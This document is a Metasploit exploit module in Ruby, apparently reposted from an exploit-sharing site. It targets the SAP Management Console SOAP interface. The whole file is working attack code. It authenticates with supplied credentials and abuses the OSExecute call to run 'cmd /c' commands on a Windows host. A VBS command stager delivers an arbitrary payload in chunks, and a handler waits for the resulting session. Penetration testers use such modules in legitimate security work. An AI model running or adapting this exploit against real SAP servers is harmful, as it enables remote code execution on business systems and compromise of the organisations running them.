SAP Management Console OSExecute Payload Execution

##
# $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerVBS
    include Msf::Exploit::EXE
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SAP Management Console OSExecute Payload Execution',
            'Version'        => '$Revision: 14048 $',
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Chris John Riley' ],
            'Description'    => %q{
                    This module executes an arbitrary payload through the SAP Management Console
                SOAP Interface.  A valid username and password must be provided.
            },
            'References'     =>
                [
                    # General
                    [ 'URL', 'http://blog.c22.cc' ]
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                },
            'Payload'        =>
                {
                'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
                },
            'Platforms'      => [ 'win' ],
            'Targets'        =>
                [
                    [
                        'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Mar 08 2011'
        ))
 
        register_options(
            [
                Opt::RPORT(50013),
                OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
                OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
                OptString.new('USERNAME', [true, 'Username to use', '']),
                OptString.new('PASSWORD', [true, 'Password to use', '']),
            ], self.class)
        register_advanced_options(
            [
                OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
            ], self.class)
        register_autofilter_ports([ 50013 ])
    end
 
    def autofilter
        false
    end
 
    def exploit
        print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
        linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
        print_status("Using custom payload size of #{linemax}") if linemax != 7500
        execute_cmdstager({ :delay => 0.35, :linemax => linemax })
        handler
    end
 
    # This is method required for the CmdStager to work...
    def execute_command(cmd, opts)
 
        soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
        xsi = 'http://www.w3.org/2001/XMLSchema-instance'
        xs = 'http://www.w3.org/2001/XMLSchema'
        sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
        ns1 = 'ns1:OSExecute'
 
        cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
        if cmd_s.length > 1
            print_status("Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
        end
 
        cmd_s = cmd_s.collect(&:strip)
        cmd_s.each do |payload|
 
            data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
            data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
            data << '<SOAP-ENV:Header>' + "\r\n"
            data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
            data << '<enableSession>true</enableSession>' + "\r\n"
            data << '</sapsess:Session>' + "\r\n"
            data << '</SOAP-ENV:Header>' + "\r\n"
            data << '<SOAP-ENV:Body>' + "\r\n"
            data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
            data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
            data << '</SOAP-ENV:Body>' + "\r\n"
            data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
 
            user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
 
            begin
                res = send_request_raw({
                    'uri'     => "/#{datastore['URI']}",
                    'method'  => 'POST',
                    'data'    => data,
                    'headers' =>
                        {
                            'Content-Length'  => data.length,
                            'SOAPAction'      => '""',
                            'Authorization'   => 'Basic ' + user_pass,
                            'Content-Type'    => 'text/xml; charset=UTF-8',
                        }
                }, 60)
 
            if (res.code != 500 and res.code != 200)
                print_error("[SAP] An unknown response was received from the server")
                abort("Invlaid server response")
            elsif res.code == 500
                body = res.body
                if body.match(/Invalid Credentials/i)
                    print_error("[SAP] The Supplied credentials are incorrect")
                    abort("Exploit not complete, check credentials")
                elsif body.match(/Permission denied/i)
                    print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
                    raise RuntimeError.new("Exploit not complete, check credentials")
                end
            end
 
            rescue ::Rex::ConnectionError
                print_error("[SAP] Unable to attempt authentication")
                break
            end
        end
    end
end



#  0day.today [2018-03-12]  #